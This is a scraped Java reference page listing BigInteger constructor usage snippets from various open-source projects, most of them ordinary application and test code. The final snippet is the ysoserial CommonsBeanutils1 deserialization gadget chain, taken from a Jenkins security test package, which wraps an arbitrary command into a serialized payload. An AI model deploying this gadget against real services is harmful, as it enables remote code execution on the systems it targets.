Example usage for java.math BigInteger BigInteger

List of usage examples for java.math BigInteger BigInteger

Introduction

In this page you can find the example usage for java.math BigInteger BigInteger.

Prototype

private BigInteger(long val) 

Source Link

Document

Constructs a BigInteger with the specified value, which may not be zero.

Usage

From source file:net.onrc.openvirtex.util.OVXFlowManager.java

public Integer storeFlowValues(final byte[] srcMac, final byte[] dstMac) throws IndexOutOfBoundException {
    // TODO: Optimize flow numbers
    final BigInteger dualMac = new BigInteger(ArrayUtils.addAll(srcMac, dstMac));
    Integer flowId = this.flowValues.inverse().get(dualMac);
    if (flowId == null) {
        flowId = this.flowCounter.getNewIndex();
        log.debug("virtual net = {}: save flowId = {} that is associated to {} {}", this.tenantId, flowId,
                MACAddress.valueOf(srcMac).toString(), MACAddress.valueOf(dstMac).toString());
        this.flowValues.put(flowId, dualMac);
    }//from w  w  w  .  j a  v a  2s .  c om
    return flowId;
}

From source file:localSPs.SpiderOakAPI.java

public double getStorageSize() throws IOException {
    BigInteger num = new BigInteger("1024");
    String ans = "";
    BigInteger totalMemory = new BigInteger("32212254720");
    BigInteger used;/*from   w w  w .  jav a 2  s .  c om*/
    File dir = new File(ROOT_PATH);
    long totalUsed = 0; // total bytes

    List<File> files = (List<File>) FileUtils.listFiles(dir, TrueFileFilter.INSTANCE, TrueFileFilter.INSTANCE);
    for (File file : files) {
        totalUsed += file.length();
    }
    used = new BigInteger(String.valueOf(totalUsed));
    ans = totalMemory.subtract(used).divide(num).divide(num).toString();//MB
    return (Double.parseDouble(ans));
}

From source file:com.redhat.lightblue.metadata.types.BigIntegerTypeTest.java

@Test
public void testToJson() {
    JsonNodeFactory jsonNodeFactory = new JsonNodeFactory(true);
    JsonNode jsonNode = bigIntegerType.toJson(jsonNodeFactory, BigInteger.ZERO);
    assertTrue(new BigInteger(jsonNode.asText()).equals(BigInteger.ZERO));
}

From source file:me.yanaga.querydsl.args.core.single.SingleBigIntegerArgumentTest.java

@Test
public void testAppendDefaultOneArgument() {
    SingleBigIntegerArgument argument = SingleBigIntegerArgument.of(new BigInteger("123"));
    BooleanBuilder builder = new BooleanBuilder();
    argument.append(builder, QPerson.person.oneBigInteger);
    Person result = new JPAQuery(entityManager).from(QPerson.person).where(builder)
            .uniqueResult(QPerson.person);
    assertThat(result.getOneBigInteger()).isEqualTo(new BigInteger("123"));
}

From source file:edu.wisc.hr.demo.RandomTaxStatementDao.java

@Override
public TaxStatements getTaxStatements(String emplid) {

    if (this.emplIdToTaxStatements.containsKey(emplid)) {
        return this.emplIdToTaxStatements.get(emplid);
    }//  ww  w  .  ja  va  2 s. c  om

    TaxStatements taxStatements = new TaxStatements();

    int howManyTaxStatements = random.nextInt(20);

    for (int i = 0; i < howManyTaxStatements; i++) {

        TaxStatement taxStatement = new TaxStatement();

        taxStatement.setFullTitle("What's a title?");
        taxStatement.setName("What's a name?");

        String randomDocId = Integer.toString(random.nextInt(Integer.MAX_VALUE));
        taxStatement.setDocId(new BigInteger(randomDocId));

        taxStatement.setYear(new BigInteger("2013"));

        taxStatements.getTaxStatements().add(taxStatement);

    }

    this.emplIdToTaxStatements.put(emplid, taxStatements);

    return taxStatements;

}

From source file:io.curly.advisor.model.Review.java

private BigDecimal fixPrecision(BigDecimal rate) {
    if (rate == null)
        return BigDecimal.ZERO;
    BigDecimal decimal = rate.remainder(BigDecimal.ONE);
    BigInteger integer = rate.toBigInteger();
    if (decimal.compareTo(new BigDecimal(0.5)) > 0) {
        return new BigDecimal(integer.add(new BigInteger("1")));
    } else if (decimal.compareTo(new BigDecimal(0.5)) < 0) {
        return new BigDecimal(integer);
    }// www  .ja v  a 2 s. c  om
    return rate;
}

From source file:com.ciphertool.zodiacengine.entities.SolutionChromosomeTest.java

@BeforeClass
public static void setUp() {
    BigInteger cipherId = new BigInteger("12345");
    cipher.setId(cipherId);/*w  ww  . jav a 2s .c om*/

    logMock = mock(Logger.class);

    Field logField = ReflectionUtils.findField(SolutionChromosome.class, "log");
    ReflectionUtils.makeAccessible(logField);
    ReflectionUtils.setField(logField, null, logMock);
}

From source file:com.redhat.lightblue.metadata.types.BigIntegerType.java

@Override
public Object cast(Object obj) {
    BigInteger value = null;//w  w  w  . j  ava2 s . co  m
    if (obj != null) {
        if (obj instanceof BigInteger) {
            value = (BigInteger) obj;
        } else if (obj instanceof Number) {
            value = new BigInteger(Long.toString(((Number) obj).longValue()));
        } else if (obj instanceof Boolean) {
            value = new BigInteger(((Boolean) obj) ? "1" : "0");
        } else if (obj instanceof String) {
            try {
                value = new BigInteger((String) obj);
            } catch (NumberFormatException e) {
                throw Error.get(NAME, MetadataConstants.ERR_INCOMPATIBLE_VALUE, obj.toString());
            }
        } else {
            throw Error.get(NAME, MetadataConstants.ERR_INCOMPATIBLE_VALUE, obj.toString());
        }
    }
    return value;
}

From source file:com.cisco.ca.cstg.pdi.services.license.LicenseCryptoServiceImpl.java

public void encryptToFile() throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException,
        IllegalBlockSizeException, BadPaddingException, IOException {
    BufferedWriter out = null;//from w  w w.  java2  s.  c  o  m
    try {
        byte[] raw = getPassword().getBytes(Charset.forName(Constants.UTF8));
        SecretKeySpec skeySpec = new SecretKeySpec(raw, ALGORITHM_BLOWFISH);
        Cipher cipher = null;
        cipher = Cipher.getInstance(ALGORITHM_BLOWFISH);
        cipher.init(1, skeySpec);
        byte[] output = cipher.doFinal(getMetaData().getBytes());
        BigInteger n = new BigInteger(output);

        String b64hidden = Base64.encodeBase64String(n.toString(16).getBytes());
        setAssessmentKey(b64hidden);

        out = new BufferedWriter(new FileWriter(this.getAssessmentKeyFileName()));
        out.write(b64hidden);
    } finally {
        if (out != null) {
            out.close();
        }
    }
}

From source file:jenkins.security.security218.ysoserial.payloads.CommonsBeanutils1.java

public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final BeanComparator comparator = new BeanComparator("lowestSetBit");

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));

    // switch method called by comparator
    Reflections.setFieldValue(comparator, "property", "outputProperties");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;/*from  ww  w  .j a va  2s  .  com*/
    queueArray[1] = templates;

    return queue;
}